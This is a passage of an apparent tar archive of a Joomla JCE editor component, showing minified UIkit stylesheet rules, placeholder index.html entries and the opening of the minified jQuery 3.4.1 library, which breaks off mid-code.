.uk-nav-header{color:#fff}.uk-contrast .uk-nav-side ul a{color:rgba(255,255,255,.7)}.uk-contrast .uk-nav-side ul a:hover{color:#fff}.uk-contrast .uk-subnav>*>a{color:rgba(255,255,255,.7);text-decoration:none}.uk-contrast .uk-subnav>*>a:focus,.uk-contrast .uk-subnav>*>a:hover{color:#fff;text-decoration:none}.uk-contrast .uk-subnav>.uk-active>a{color:#fff}.uk-contrast .uk-subnav-line>:nth-child(n+2):before{border-left-color:rgba(255,255,255,.2)}.uk-contrast .uk-subnav-pill>*>a:focus,.uk-contrast .uk-subnav-pill>*>a:hover{background:rgba(255,255,255,.7);color:#444;text-decoration:none}.uk-contrast .uk-subnav-pill>.uk-active>a{background:#fff;color:#444}.uk-contrast .uk-tab{border-bottom-color:rgba(255,255,255,.2)}.uk-contrast .uk-tab>li>a{border-color:transparent;color:rgba(255,255,255,.7);text-shadow:none}.uk-contrast .uk-tab>li.uk-open>a,.uk-contrast .uk-tab>li>a:focus,.uk-contrast .uk-tab>li>a:hover{border-color:rgba(255,255,255,.7);background:rgba(255,255,255,.7);color:#444;text-decoration:none}.uk-contrast .uk-tab>li.uk-active>a{border-color:rgba(255,255,255,.2);border-bottom-color:transparent;background:#fff;color:#444}.uk-contrast .uk-tab-center{border-bottom-color:rgba(255,255,255,.2)}.uk-contrast .uk-list-line>li:nth-child(n+2),.uk-contrast .uk-tab-grid:before{border-top-color:rgba(255,255,255,.2)}.uk-contrast .uk-form input:not([type]),.uk-contrast .uk-form input[type=text],.uk-contrast .uk-form input[type=password],.uk-contrast .uk-form input[type=email],.uk-contrast .uk-form input[type=url],.uk-contrast .uk-form input[type=search],.uk-contrast .uk-form input[type=tel],.uk-contrast .uk-form input[type=number],.uk-contrast .uk-form input[type=datetime],.uk-contrast .uk-form input[type=datetime-local],.uk-contrast .uk-form input[type=date],.uk-contrast .uk-form input[type=month],.uk-contrast .uk-form input[type=time],.uk-contrast .uk-form input[type=week],.uk-contrast .uk-form input[type=color],.uk-contrast .uk-form select,.uk-contrast .uk-form textarea{border-color:rgba(255,255,255,.8);background:rgba(255,255,255,.8);color:#444;background-clip:padding-box}.uk-contrast .uk-form input:not([type]):focus,.uk-contrast .uk-form input[type=text]:focus,.uk-contrast .uk-form input[type=password]:focus,.uk-contrast .uk-form input[type=email]:focus,.uk-contrast .uk-form input[type=url]:focus,.uk-contrast .uk-form input[type=search]:focus,.uk-contrast .uk-form input[type=tel]:focus,.uk-contrast .uk-form input[type=number]:focus,.uk-contrast .uk-form input[type=datetime]:focus,.uk-contrast .uk-form input[type=datetime-local]:focus,.uk-contrast .uk-form input[type=date]:focus,.uk-contrast .uk-form input[type=month]:focus,.uk-contrast .uk-form input[type=time]:focus,.uk-contrast .uk-form input[type=week]:focus,.uk-contrast .uk-form input[type=color]:focus,.uk-contrast .uk-form select:focus,.uk-contrast .uk-form textarea:focus{border-color:#fff;background:#fff;color:#444}.uk-contrast .uk-form :-ms-input-placeholder{color:rgba(68,68,68,.7)!important}.uk-contrast .uk-form ::-moz-placeholder{color:rgba(68,68,68,.7)}.uk-contrast .uk-form ::-webkit-input-placeholder{color:rgba(68,68,68,.7)}.uk-contrast .uk-button{color:#444;background:#fff;border-color:transparent}.uk-contrast .uk-button:focus,.uk-contrast .uk-button:hover{background-color:rgba(255,255,255,.8);color:#444;border-color:transparent}.uk-contrast .uk-button.uk-active,.uk-contrast .uk-button:active{background-color:rgba(255,255,255,.7);color:#444}.uk-contrast .uk-button-primary{background-color:#337ab7;color:#fff}.uk-contrast .uk-button-primary:focus,.uk-contrast .uk-button-primary:hover{background-color:#286090;color:#fff}.uk-contrast .uk-button-primary.uk-active,.uk-contrast .uk-button-primary:active{background-color:#0091ca;color:#fff}.uk-contrast .uk-icon-hover{color:rgba(255,255,255,.7)}.uk-contrast .uk-icon-hover:hover{color:#fff}.uk-contrast .uk-icon-button{background:#fff;color:#444;border-color:transparent}.uk-contrast .uk-icon-button:focus,.uk-contrast .uk-icon-button:hover{background-color:rgba(255,255,255,.8);color:#444;border-color:transparent}.uk-contrast .uk-icon-button:active{background-color:rgba(255,255,255,.7);color:#444}.uk-contrast .uk-text-muted{color:rgba(255,255,255,.6)!important}.uk-contrast .uk-text-primary{color:#337ab7!important}@media print{blockquote,img,pre,tr{page-break-inside:avoid}*,:after,:before{background:0 0!important;color:#000!important;box-shadow:none!important;text-shadow:none!important}a,a:visited{text-decoration:underline}blockquote,pre{border:1px solid #999}thead{display:table-header-group}img{max-width:100%!important}@page{margin:.5cm}h2,h3,p{orphans:3;widows:3}h2,h3{page-break-after:avoid}}.uk-dotnav{display:-ms-flexbox;display:-webkit-flex;display:flex;-ms-flex-wrap:wrap;-webkit-flex-wrap:wrap;flex-wrap:wrap;margin-left:-15px;margin-top:-15px;padding:0;list-style:none}.uk-dotnav>*{-ms-flex:none;-webkit-flex:none;flex:none;padding-left:15px;margin-top:15px;float:left}.uk-dotnav:after,.uk-dotnav:before{content:"";display:block;overflow:hidden}.uk-dotnav>*>*{display:block;box-sizing:content-box;width:20px;height:20px;border-radius:50%;background:rgba(50,50,50,.1);text-indent:100%;overflow:hidden;-webkit-transition:all .2s ease-in-out;transition:all .2s ease-in-out}.uk-htmleditor .CodeMirror,.uk-htmleditor-code,.uk-htmleditor-preview,.uk-notify,.uk-progress,.uk-search-field,.uk-slidenav,.uk-tooltip,[data-uk-sticky].uk-active{box-sizing:border-box}.uk-dotnav>*>:focus,.uk-dotnav>*>:hover{background:rgba(50,50,50,.4);outline:0}.uk-dotnav>*>:active{background:rgba(50,50,50,.6)}.uk-dotnav>.uk-active>*{background:rgba(50,50,50,.4);-webkit-transform:scale(1.3);transform:scale(1.3)}.uk-dotnav-contrast>*>*{background:rgba(255,255,255,.4)}.uk-dotnav-contrast>*>:focus,.uk-dotnav-contrast>*>:hover{background:rgba(255,255,255,.7)}.uk-dotnav-contrast>*>:active,.uk-dotnav-contrast>.uk-active>*{background:rgba(255,255,255,.9)}.uk-dotnav-vertical{-ms-flex-direction:column;-webkit-flex-direction:column;flex-direction:column}.uk-dotnav-vertical>*{float:none}.uk-slidenav{display:inline-block;width:60px;height:60px;line-height:60px;color:rgba(50,50,50,.4);font-size:60px;text-align:center}.uk-slidenav:focus,.uk-slidenav:hover{outline:0;text-decoration:none;color:rgba(50,50,50,.7);cursor:pointer}.uk-slidenav:active{color:rgba(50,50,50,.9)}.uk-slidenav-previous:before{content:"\f104";font-family:FontAwesome}.uk-slidenav-next:before{content:"\f105";font-family:FontAwesome}.uk-slidenav-position{position:relative}.uk-slidenav-position .uk-slidenav{display:none;position:absolute;top:50%;z-index:1;margin-top:-30px}.uk-slidenav-position:hover .uk-slidenav{display:block}.uk-slidenav-position .uk-slidenav-previous{left:20px}.uk-slidenav-position .uk-slidenav-next{right:20px}.uk-slidenav-contrast{color:rgba(255,255,255,.5)}.uk-slidenav-contrast:focus,.uk-slidenav-contrast:hover{color:rgba(255,255,255,.7)}.uk-slidenav-contrast:active{color:rgba(255,255,255,.9)}.uk-form input[type=checkbox],.uk-form input[type=radio]{display:inline-block;height:14px;width:14px;border:1px solid #aaa;overflow:hidden;margin-top:-4px;vertical-align:middle;-webkit-appearance:none;outline:0;background:0 0}.uk-form input[type=radio]{border-radius:50%}.uk-form input[type=checkbox]:before,.uk-form input[type=radio]:before{display:block}.uk-form input[type=radio]:checked:before{content:'';width:8px;height:8px;margin:2px auto 0;border-radius:50%;background:#337ab7}.uk-form input[type=checkbox]:checked:before,.uk-form input[type=checkbox]:indeterminate:before{content:"\f00c";font-family:FontAwesome;font-size:12px;-webkit-font-smoothing:antialiased;text-align:center;line-height:12px;color:#337ab7}.uk-form input[type=checkbox]:indeterminate:before{content:"\f068"}.uk-form input[type=checkbox]:disabled,.uk-form input[type=radio]:disabled{border-color:#ddd}.uk-form input[type=radio]:disabled:checked:before{background-color:#aaa}.uk-form input[type=checkbox]:disabled:checked:before,.uk-form input[type=checkbox]:disabled:indeterminate:before{color:#aaa}.uk-form-file{display:inline-block;position:relative;overflow:hidden}.uk-form-file input[type=file]{position:absolute;top:0;z-index:1;width:100%;opacity:0;cursor:pointer;left:0;font-size:500px}.uk-form-password{display:inline-block;position:relative;max-width:100%}.uk-form-password-toggle{display:block;position:absolute;top:50%;right:10px;margin-top:-6px;font-size:12px;line-height:12px;color:#999}*+.uk-placeholder,*+.uk-progress{margin-top:15px}.uk-form-password-toggle:hover{color:#999;text-decoration:none}.uk-form-password>input{padding-right:50px!important}.uk-form-select{display:inline-block;position:relative;overflow:hidden}.uk-form-select select{position:absolute;top:0;z-index:1;width:100%;height:100%;opacity:0;cursor:pointer;left:0;-webkit-appearance:none}.uk-placeholder{margin-bottom:15px;padding:15px;border:1px dashed #ddd;background:#fafafa;color:#444}.uk-placeholder>:last-child{margin-bottom:0}.uk-placeholder-large{padding-top:80px;padding-bottom:80px}.uk-progress{height:20px;margin-bottom:15px;background:#f5f5f5;overflow:hidden;line-height:20px;box-shadow:inset 0 0 0 1px rgba(0,0,0,.06);border-radius:2px}.uk-nav-autocomplete>li.uk-active>a,.uk-progress-bar{box-shadow:inset 0 0 5px rgba(0,0,0,.05);text-shadow:0 -1px 0 rgba(0,0,0,.1)}.uk-progress-bar{width:0;height:100%;background:#337ab7;float:left;-webkit-transition:width .6s ease;transition:width .6s ease;font-size:11px;color:#fff;text-align:center}.uk-progress-mini{height:6px}.uk-progress-small{height:12px}.uk-progress-success .uk-progress-bar{background-color:#5cb85c}.uk-progress-warning .uk-progress-bar{background-color:#f0ad4e}.uk-progress-danger .uk-progress-bar{background-color:#d9534f}.uk-progress-striped .uk-progress-bar{background-image:-webkit-linear-gradient(-45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(-45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-size:30px 30px}.uk-progress-striped.uk-active .uk-progress-bar{-webkit-animation:uk-progress-bar-stripes 2s linear infinite;animation:uk-progress-bar-stripes 2s linear infinite}@-webkit-keyframes uk-progress-bar-stripes{0%{background-position:0 0}100%{background-position:30px 0}}@keyframes uk-progress-bar-stripes{0%{background-position:0 0}100%{background-position:30px 0}}.uk-progress-mini,.uk-progress-small{border-radius:500px}.uk-accordion-title{margin-top:0;margin-bottom:15px;padding:5px 15px;background:#f5f5f5;font-size:17px;line-height:22px;cursor:pointer;border:1px solid #ddd;border-radius:2px}.uk-accordion-content{padding:0 15px 15px}.uk-accordion-content:after,.uk-accordion-content:before{content:"";display:table}.uk-accordion-content>:last-child{margin-bottom:0}.uk-autocomplete{display:inline-block;position:relative;max-width:100%}.uk-dropdown-flip{left:auto;right:0}.uk-nav-autocomplete>li>a{color:#444}.uk-nav-autocomplete>li.uk-active>a{background:#337ab7;color:#fff;outline:0}.uk-nav-autocomplete .uk-nav-header{color:#999}.uk-nav-autocomplete .uk-nav-divider{border-top:1px solid #ddd}.uk-datepicker{z-index:1050;width:auto;-webkit-animation:uk-fade .2s ease-in-out;animation:uk-fade .2s ease-in-out;-webkit-transform-origin:0 0;transform-origin:0 0}.uk-datepicker-nav{margin-bottom:15px;text-align:center;line-height:20px}.uk-datepicker-nav:after,.uk-datepicker-nav:before{content:"";display:table}.uk-datepicker-nav a{color:#444;text-decoration:none}.uk-datepicker-nav a:hover{color:#444}.uk-datepicker-previous{float:left}.uk-datepicker-next,.uk-htmleditor-navbar-flip{float:right}.uk-datepicker-next:after,.uk-datepicker-previous:after{width:20px;font-family:FontAwesome}.uk-datepicker-previous:after{content:"\f053"}.uk-datepicker-next:after{content:"\f054"}.uk-datepicker-table{width:100%}.uk-datepicker-table td,.uk-datepicker-table th{padding:2px}.uk-datepicker-table th{font-size:12px}.uk-datepicker-table a{display:block;width:26px;line-height:24px;text-align:center;color:#444;text-decoration:none;border:1px solid transparent;border-radius:2px}a.uk-datepicker-table-muted{color:#999}.uk-datepicker-table a:focus,.uk-datepicker-table a:hover{background-color:#fafafa;color:#444;outline:0;border-color:rgba(0,0,0,.16);text-shadow:0 1px 0 #fff}.uk-datepicker-table a.uk-active,.uk-nav-search>li.uk-active>a{box-shadow:inset 0 0 5px rgba(0,0,0,.05);text-shadow:0 -1px 0 rgba(0,0,0,.1)}.uk-datepicker-table a:active{background-color:#eee;color:#444}.uk-datepicker-table a.uk-active{background:#337ab7;color:#fff}.uk-htmleditor-navbar{background:#f5f5f5;border:1px solid rgba(0,0,0,.06);border-top-left-radius:2px;border-top-right-radius:2px}.uk-htmleditor-navbar:after,.uk-htmleditor-navbar:before{content:"";display:table}.uk-htmleditor-navbar-nav{margin:0;padding:0;list-style:none;float:left}.uk-htmleditor-navbar-nav>li{float:left}.uk-htmleditor-navbar-nav>li>a{display:block;box-sizing:border-box;text-decoration:none;height:41px;padding:0 15px;line-height:40px;color:#444;font-size:11px;cursor:pointer;margin-top:-1px;margin-left:-1px;border:1px solid transparent;border-bottom-width:0;text-shadow:0 1px 0 #fff}.uk-htmleditor-navbar-nav>li.uk-active>a,.uk-htmleditor-navbar-nav>li:hover>a,.uk-htmleditor-navbar-nav>li>a:active,.uk-htmleditor-navbar-nav>li>a:focus{border-left-color:rgba(0,0,0,.1);border-right-color:rgba(0,0,0,.1);color:#444}.uk-htmleditor-navbar-nav>li:hover>a,.uk-htmleditor-navbar-nav>li>a:focus{background-color:#fafafa;outline:0;position:relative;z-index:1;border-top-color:rgba(0,0,0,.1)}.uk-htmleditor-navbar-nav>li>a:active{background-color:#eee;border-top-color:rgba(0,0,0,.2)}.uk-htmleditor-navbar-nav>li.uk-active>a{background-color:#fafafa;border-top-color:rgba(0,0,0,.1)}[data-mode=split] .uk-htmleditor-button-code,[data-mode=split] .uk-htmleditor-button-preview{display:none}.uk-htmleditor-content{border-left:1px solid #ddd;border-right:1px solid #ddd;border-bottom:1px solid #ddd;background:#fff;border-bottom-left-radius:2px;border-bottom-right-radius:2px}.uk-htmleditor-content:after,.uk-htmleditor-content:before{content:"";display:table}.uk-htmleditor-fullscreen{position:fixed;top:0;left:0;right:0;bottom:0;z-index:990}.uk-htmleditor-fullscreen .uk-htmleditor-content{position:absolute;top:41px;left:0;right:0;bottom:0}.uk-htmleditor-fullscreen .uk-icon-expand:before{content:"\f066"}.uk-htmleditor-preview{padding:20px;overflow-y:scroll;position:relative}.uk-slider-container,.uk-slideshow{overflow:hidden}[data-mode=tab][data-active-tab=code] .uk-htmleditor-preview,[data-mode=tab][data-active-tab=preview] .uk-htmleditor-code{display:none}[data-mode=split] .uk-htmleditor-code,[data-mode=split] .uk-htmleditor-preview{float:left;width:50%}[data-mode=split] .uk-htmleditor-code{border-right:1px solid #eee}.uk-htmleditor-iframe{position:absolute;top:0;left:0;width:100%;height:100%}.uk-htmleditor .CodeMirror{padding:10px}.uk-htmleditor-navbar-nav:first-child>li:first-child>a{border-top-left-radius:2px}.uk-htmleditor-navbar-flip .uk-htmleditor-navbar-nav>li>a{margin-left:0;margin-right:-1px}.uk-htmleditor-navbar-flip .uk-htmleditor-navbar-nav:first-child>li:first-child>a{border-top-left-radius:0}.uk-htmleditor-navbar-flip .uk-htmleditor-navbar-nav:last-child>li:last-child>a{border-top-right-radius:2px}.uk-htmleditor-fullscreen .uk-htmleditor-navbar{border-top:none;border-left:none;border-right:none;border-radius:0}.uk-htmleditor-fullscreen .uk-htmleditor-content{border:none;border-radius:0}.uk-htmleditor-fullscreen .uk-htmleditor-navbar-nav>li>a{border-radius:0!important}.uk-slideshow{position:relative;z-index:0;width:100%;margin:0;padding:0;list-style:none;touch-action:pan-y}.uk-nestable-handle,.uk-nestable-item{touch-action:none}.uk-slideshow>li{position:absolute;top:0;left:0;width:100%;opacity:0}.uk-slideshow>.uk-active{z-index:10;opacity:1}.uk-slideshow>li>img{visibility:hidden}[data-uk-slideshow-slide]{cursor:pointer}.uk-slideshow-fullscreen,.uk-slideshow-fullscreen>li{height:100vh}.uk-slideshow-fade-in{-webkit-animation:uk-fade .5s linear;animation:uk-fade .5s linear}.uk-slideshow-fade-out{-webkit-animation:uk-fade .5s linear reverse;animation:uk-fade .5s linear reverse}.uk-slideshow-scroll-forward-in{-webkit-animation:uk-slide-right .5s ease-in-out;animation:uk-slide-right .5s ease-in-out}.uk-slideshow-scroll-forward-out{-webkit-animation:uk-slide-left .5s ease-in-out reverse;animation:uk-slide-left .5s ease-in-out reverse}.uk-slideshow-scroll-backward-in{-webkit-animation:uk-slide-left .5s ease-in-out;animation:uk-slide-left .5s ease-in-out}.uk-slideshow-scroll-backward-out{-webkit-animation:uk-slide-right .5s ease-in-out reverse;animation:uk-slide-right .5s ease-in-out reverse}.uk-slideshow-scale-out{-webkit-animation:uk-fade-scale-15 .5s ease-in-out reverse;animation:uk-fade-scale-15 .5s ease-in-out reverse}.uk-slideshow-swipe-forward-in{-webkit-animation:uk-slide-left-33 .5s ease-in-out;animation:uk-slide-left-33 .5s ease-in-out}.uk-slideshow-swipe-forward-out{-webkit-animation:uk-slide-left .5s ease-in-out reverse;animation:uk-slide-left .5s ease-in-out reverse}.uk-slideshow-swipe-backward-in{-webkit-animation:uk-slide-right-33 .5s ease-in-out;animation:uk-slide-right-33 .5s ease-in-out}.uk-slideshow-swipe-backward-out{-webkit-animation:uk-slide-right .5s ease-in-out reverse;animation:uk-slide-right .5s ease-in-out reverse}.uk-slideshow-swipe-backward-in:before,.uk-slideshow-swipe-forward-in:before{content:'';position:absolute;top:0;bottom:0;left:0;right:0;z-index:1;background:rgba(0,0,0,.6);-webkit-animation:uk-fade .5s ease-in-out reverse;animation:uk-fade .5s ease-in-out reverse}.uk-notify{position:fixed;top:10px;left:10px;z-index:1040;width:350px}.uk-notify-bottom-right,.uk-notify-top-right{left:auto;right:10px}.uk-notify-bottom-center,.uk-notify-top-center{left:50%;margin-left:-175px}.uk-notify-bottom-center,.uk-notify-bottom-left,.uk-notify-bottom-right{top:auto;bottom:10px}@media (max-width:479px){.uk-notify{left:10px;right:10px;width:auto;margin:0}}.uk-notify-message{position:relative;margin-bottom:10px;padding:15px;background:#444;color:#fff;font-size:15px;line-height:20px;cursor:pointer;border:1px solid #444;border-radius:2px}.uk-notify-message>.uk-close{visibility:hidden;float:right}.uk-notify-message:hover>.uk-close{visibility:visible}.uk-notify-message-primary{background:#ebf7fd;color:#2d7091;border-color:rgba(45,112,145,.3)}.uk-notify-message-success{background:#f2fae3;color:#659f13;border-color:rgba(101,159,19,.3)}.uk-notify-message-warning{background:#fffceb;color:#e28327;border-color:rgba(226,131,39,.3)}.uk-notify-message-danger{background:#fff1f0;color:#d85030;border-color:rgba(216,80,48,.3)}.uk-search{display:inline-block;position:relative;margin:0}.uk-search:before{content:"\f002";position:absolute;top:0;left:0;width:30px;line-height:32px;text-align:center;font-family:FontAwesome;font-size:14px;color:rgba(0,0,0,.2)}.uk-search-field::-moz-focus-inner{border:0;padding:0}.uk-search-field::-webkit-search-cancel-button,.uk-search-field::-webkit-search-decoration{-webkit-appearance:none}.uk-search-field::-ms-clear{display:none}.uk-search-field{margin:0;border-radius:0;font:inherit;color:#444;-webkit-appearance:none;width:120px;height:32px;padding:0 0 0 30px;border:1px solid transparent;background:rgba(0,0,0,0);-webkit-transition:all .2s linear;transition:all .2s linear}.uk-search-field:-ms-input-placeholder{color:#999!important}.uk-search-field::-moz-placeholder{opacity:1;color:#999}.uk-search-field::-webkit-input-placeholder{color:#999}.uk-search-field:focus{outline:0}.uk-search-field:focus,.uk-search.uk-active .uk-search-field{width:180px}.uk-dropdown-search{width:300px;margin-top:0;background:#fff;color:#444}.uk-open>.uk-dropdown-search{-webkit-animation:uk-slide-top-fixed .2s ease-in-out;animation:uk-slide-top-fixed .2s ease-in-out}.uk-navbar-flip .uk-dropdown-search{margin-top:12px;margin-right:-16px}.uk-nav-search>li>a{color:#444}.uk-nav-search>li.uk-active>a{background:#337ab7;color:#fff;outline:0}.uk-nav-search .uk-nav-header{color:#999}.uk-nav-search .uk-nav-divider{border-top:1px solid #ddd}.uk-nav-search ul a{color:#337ab7}.uk-nav-search ul a:hover{color:#23527c}.uk-offcanvas .uk-search{display:block;margin:20px 15px}.uk-offcanvas .uk-search:before{color:#777}.uk-offcanvas .uk-search-field{width:100%;border-color:transparent;background:#1a1a1a;color:#ccc}.uk-offcanvas .uk-search-field:-ms-input-placeholder{color:#777!important}.uk-offcanvas .uk-search-field::-moz-placeholder{color:#777}.uk-offcanvas .uk-search-field::-webkit-input-placeholder{color:#777}.uk-nestable{padding:0;list-style:none}.uk-nestable-list{margin:0;padding-left:40px;list-style:none}.uk-nestable-item+.uk-nestable-item,.uk-nestable-list:not(.uk-nestable-dragged)>.uk-nestable-item:first-child{margin-top:10px}.uk-nestable-dragged{position:absolute;z-index:1050;padding-left:0}.uk-nestable-placeholder{position:relative}.uk-nestable-placeholder>*{opacity:0}.uk-nestable-placeholder:after{content:'';position:absolute;top:0;bottom:0;left:0;right:0;border:1px dashed #ddd;opacity:1}.uk-nestable-handle:hover,.uk-nestable-moving,.uk-nestable-moving *{cursor:move}[data-nestable-action=toggle]{cursor:pointer;-moz-user-select:none;-webkit-user-select:none;-ms-user-select:none;user-select:none}.uk-nestable-toggle{display:inline-block;visibility:hidden}.uk-collapsed .uk-nestable-list,.uk-tooltip{display:none}.uk-nestable-toggle:after{content:"\f147";font-family:FontAwesome}.uk-parent>:not(.uk-nestable-list) .uk-nestable-toggle{visibility:visible}.uk-collapsed .uk-nestable-toggle:after{content:"\f196"}.uk-nestable-panel{padding:5px;background:#f5f5f5;border-radius:2px;border:1px solid rgba(0,0,0,.06);text-shadow:0 1px 0 #fff}[data-uk-slider]{direction:ltr}html[dir=rtl] .uk-slider>*{direction:rtl}.uk-slider{position:relative;z-index:0;touch-action:pan-y}.uk-sortable-handle,.uk-sortable>*{touch-action:none}.uk-slider:not(.uk-grid){margin:0;padding:0;list-style:none}.uk-slider>*{position:absolute;top:0;left:0}.uk-slider:not(.uk-drag){-webkit-transition:-webkit-transform .2s linear;transition:transform .2s linear}.uk-slider.uk-drag{cursor:col-resize;-moz-user-select:none;-webkit-user-select:none;-ms-user-select:none;user-select:none}.uk-slider a,.uk-slider img{-webkit-user-drag:none;user-drag:none;-webkit-touch-callout:none}.uk-slider-fullscreen,.uk-slider-fullscreen>li{height:100vh}.uk-sortable{position:relative}.uk-sortable>:last-child{margin-bottom:0}.uk-sortable-dragged{position:absolute;z-index:1050}.uk-sortable-placeholder{opacity:0}.uk-sortable-handle:hover,.uk-sortable-moving,.uk-sortable-moving *{cursor:move}[data-uk-sticky].uk-active{z-index:980;-webkit-backface-visibility:hidden}[data-uk-sticky].uk-animation-reverse,[data-uk-sticky][class*=uk-animation-]{-webkit-animation-duration:.2s;animation-duration:.2s}.uk-dragover{box-shadow:0 0 20px rgba(100,100,100,.3)}.uk-tooltip{position:absolute;z-index:1030;max-width:200px;padding:5px 8px;background:#333;color:rgba(255,255,255,.7);font-size:11px;line-height:16px;border-radius:3px;text-shadow:0 1px 0 rgba(0,0,0,.5)}.uk-tooltip:after{content:"";display:block;position:absolute;width:0;height:0;border:5px dashed #333}.uk-tooltip-top-left:after,.uk-tooltip-top-right:after,.uk-tooltip-top:after{bottom:-5px;border-top-style:solid;border-bottom:none;border-left-color:transparent;border-right-color:transparent;border-top-color:#333}.uk-tooltip-bottom-left:after,.uk-tooltip-bottom-right:after,.uk-tooltip-bottom:after{top:-5px;border-bottom-style:solid;border-top:none;border-left-color:transparent;border-right-color:transparent;border-bottom-color:#333}.uk-tooltip-left:after,.uk-tooltip-right:after{top:50%;margin-top:-5px;border-top-color:transparent;border-bottom-color:transparent}.uk-tooltip-bottom:after,.uk-tooltip-top:after{left:50%;margin-left:-5px}.uk-tooltip-bottom-left:after,.uk-tooltip-top-left:after{left:10px}.uk-tooltip-bottom-right:after,.uk-tooltip-top-right:after{right:10px}.uk-tooltip-left:after{right:-5px;border-left-style:solid;border-right:none;border-left-color:#333}.uk-tooltip-right:after{left:-5px;border-right-style:solid;border-left:none;border-right-color:#333}com_jce/editor/libraries/uikit/index.html000060400000000054152453734450014536 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/libraries/jquery/index.html000060400000000054152453734450014730 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/libraries/jquery/js/jquery.min.js000060400000254121152453734450016014 0ustar00/*! jQuery v3.4.1 | (c) JS Foundation and other contributors | jquery.org/license */
!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],E=C.document,r=Object.getPrototypeOf,s=t.slice,g=t.concat,u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n||E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]||t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?n[o.call(e)]||"object":typeof e}var f="3.4.1",k=function(e,t){return new k.fn.init(e,t)},p=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;function d(e){var t=!!e&&"length"in e&&e.length,n=w(e);return!m(e)&&!x(e)&&("array"===n||0===t||"number"==typeof t&&0<t&&t-1 in e)}k.fn=k.prototype={jquery:f,constructor:k,length:0,toArray:function(){return s.call(this)},get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=k.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return k.each(this,e)},map:function(n){return this.pushStack(k.map(this,function(e,t){return n.call(e,t,e)}))},slice:function(){return this.pushStack(s.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:u,sort:t.sort,splice:t.splice},k.extend=k.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]||{},s++),"object"==typeof a||m(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)r=e[t],"__proto__"!==t&&a!==r&&(l&&r&&(k.isPlainObject(r)||(i=Array.isArray(r)))?(n=a[t],o=i&&!Array.isArray(n)?[]:i||k.isPlainObject(n)?n:{},i=!1,a[t]=k.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},k.extend({expando:"jQuery"+(f+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==o.call(e))&&(!(t=r(e))||"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t){b(e,{nonce:t&&t.nonce})},each:function(e,t){var n,r=0;if(d(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?"":(e+"").replace(p,"")},makeArray:function(e,t){var n=t||[];return null!=e&&(d(Object(e))?k.merge(n,"string"==typeof e?[e]:e):u.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:i.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r=[],i=0,o=e.length,a=!n;i<o;i++)!t(e[i],i)!==a&&r.push(e[i]);return r},map:function(e,t,n){var r,i,o=0,a=[];if(d(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&a.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&a.push(i);return g.apply([],a)},guid:1,support:y}),"function"==typeof Symbol&&(k.fn[Symbol.iterator]=t[Symbol.iterator]),k.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){n["[object "+t+"]"]=t.toLowerCase()});var h=function(n){var e,d,b,o,i,h,f,g,w,u,l,T,C,a,E,v,s,c,y,k="sizzle"+1*new Date,m=n.document,S=0,r=0,p=ue(),x=ue(),N=ue(),A=ue(),D=function(e,t){return e===t&&(l=!0),0},j={}.hasOwnProperty,t=[],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",M="[\\x20\\t\\r\\n\\f]",I="(?:\\\\.|[\\w-]|[^\0-\\xa0])+",W="\\["+M+"*("+I+")(?:"+M+"*([*^$|!~]?=)"+M+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+I+"))|)"+M+"*\\]",$=":("+I+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+W+")*)|.*)\\)|)",F=new RegExp(M+"+","g"),B=new RegExp("^"+M+"+|((?:^|[^\\\\])(?:\\\\.)*)"+M+"+$","g"),_=new 